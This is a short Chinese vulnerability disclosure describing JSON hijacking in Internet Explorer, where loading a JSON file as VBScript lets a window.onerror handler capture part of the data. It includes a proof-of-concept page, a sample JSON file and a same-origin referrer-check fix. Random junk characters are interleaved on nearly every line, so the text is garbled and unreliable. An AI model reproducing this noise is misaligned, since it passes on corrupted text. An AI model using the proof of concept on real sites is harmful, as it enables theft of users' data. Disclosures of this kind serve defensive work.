简要描述:8 m K* L) X: T$ X
" s9 P8 t( V* y9 p
由于某些资源容器对数据处理不当导致json劫持漏洞.* w4 x! [0 b* K' l
详细说明:
0 V' F t8 X9 [- A6 D由于ie支持vbscript,所以script元素可以指定成vbscript语言:- ~( |) N! b. D7 u$ O! n F
<script language=vbscript></script>' \/ Y& I" x3 E' `3 C
6 s8 }$ a. L/ B4 A
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
' v8 \ _& d! T- l) f$ n- t' d漏洞证明:
5 w. h- A" l3 \- g( m% ]1 A9 q, S<script>
* R- c: a7 U C! i" t* O, b$ ?window.onerror=function(_){9 B# s0 q8 W) e5 j
alert(_)+ c1 u% V4 D r
}
( H* c) Y: U7 [- Y* }9 W/ m: @" b</script>+ u: i, t0 _0 v. N
<script language=vbscript src=1.json></script>
2 W+ e1 g: N9 L# V( r
4 h& `! I! Z2 d
0 b: k8 Z" k& O- `. c1.json:
( V" ~. h/ s6 H/ Z8 V' B) i[{"name":"sogili","age":19}]1 \0 \8 l0 V) |. H0 H! L1 y! R
修复方案:
* e$ X/ J7 Z, {/ u7 }% g网站业务对于这个问题可以通过验证referrer是否为同源来防御 |